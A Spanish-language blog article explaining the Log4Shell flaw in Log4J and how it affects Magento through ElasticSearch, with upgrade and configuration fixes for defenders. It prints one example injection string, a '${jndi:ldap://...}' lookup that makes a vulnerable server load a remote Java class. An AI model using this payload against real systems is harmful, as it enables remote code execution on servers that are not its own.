Vulnerabilidad Log4J en Magento

por David Abad
Vulnerabilidad Log4J

Hace unas semanas se descubrió una nueva vulnerabilidad crítica en Log4J, una de las librerías Java más famosas para el registro de mensajes de log. Esta vulnerabilidad es de gravedad muy alta ya que permite la ejecución de cualquier código malicioso. 

Aprende cómo funciona la vulnerabilidad, cómo corregirla en tus sistemas y si afecta a Magento. 

Qué es Log4J

Log4J es una librería Java desarrollada por el equipo de Apache y ampliamente utilizada por un gran número de empresas y software para el registro de mensajes de log.

Log4J

Log4J

Para utilizarlo en un proyecto Java, simplemente habría que obtener la librería Log4J, importarla en nuestras clases Java e inicializar un logger, obteniendo una instancia del mismo:

import org.apache.log4j.Logger;
...
Logger log = Logger.getLogger("Mi logger de ejemplo");

Esta instancia permite registrar mensajes de log con diferentes niveles de importancia:

log.trace("Mi mensaje");
log.debug("Mi mensaje");
log.info("Mi mensaje");
log.warn("Mi mensaje");
log.error("Mi mensaje");
log.fatal("Mi mensaje");

Cómo funciona la vulnerabilidad Log4Shell

La vulnerabilidad crítica descubierta recientemente permite la ejecución de código malicioso en las versiones 2.14.1 e inferiores de Log4J. Esto se debe a una funcionalidad denominada “Message JNDI Lookup“. Esta funcionalidad proporciona una nomenclatura dentro de los mensaje de log para obtener una clase Java remota y ejecutarla:

log.info("Mi mensaje malicioso ${jndi:ldap://dabad.es/mi-clase-java}");

Teniendo en cuenta esta funcionalidad, cualquier sitio web que incluya un formulario cuyo contenido sea escrito en un mensaje de log mediante una versión vulnerable de la librería Log4J, estaría expuesto. Ya que cualquier usuario podría utilizar la nomenclatura anterior en cualquier campo del formulario para cargar una clase Java externa.

Vulnerabilidad Log4J

Vulnerabilidad Log4J

Al permitir ejecutar el código de cualquier clase Java remota, la peligrosidad de la vulnerabilidad es muy alta, ya que permite realizar todo tipo de acciones sobre en el sistema vulnerado.

Por otro lado, la facilidad de aplicación de esta vulnerabilidad hace que pueda detectarse y aplicarse automáticamente sobre un gran número de sitios utilizando herramientas de fuerza bruta, como las pensadas para la detección automática de vulnerabilidades XSS: XSS Hunter o XSS Strike.  

Cómo corregir la vulnerabilidad

La mejor manera de solventar esta vulnerabilidad es actualizar Log4J a la versión 2.15.0 o superior, que soluciona estos problemas de seguridad.

En caso de no poder realizar esta actualización, podemos solventar el problema desactivando la funcionalidad de los “lookups” de Log4J mediante la definición de la variable de entorno:

LOG4J_FORMAT_MSG_NO_LOOKUPS = true

¿Afecta a Magento?

Aunque Magento no utiliza la librería Log4J directamente, si que utiliza el software ElasticSearch para optimizar las búsquedas de texto libre. Este sistema desarrollado en Java, utiliza la librería afectada para el registro de mensajes de log.

Para corregir esta vulnerabilidad será necesario actualizar la versión de nuestro ElasticSearch:

  • Si tenemos ElasticSearch 6: Actualizar a 6.8.21 o superior.
  • Si tenemos ElasticSearch 7: Actualizar a 7.16.1 o superior.

En caso de no poder realizar una actualización del software, tendremos que crear un fichero de configuración JVM en el directorio /etc/elasticsearch/jvm.options.d/ de nuestro sistema con el siguiente contenido:

-Dlog4j2.formatMsgNoLookups=true

La configuración anterior evitará el uso de la funcionalidad que permite cargar clases Java remotas, evitando la ejecución de código malicioso.

Déjanos tu email para recibir contenido interesante en tu bandeja de entrada, cada mes.

¡No hacemos spam!

Otros artículos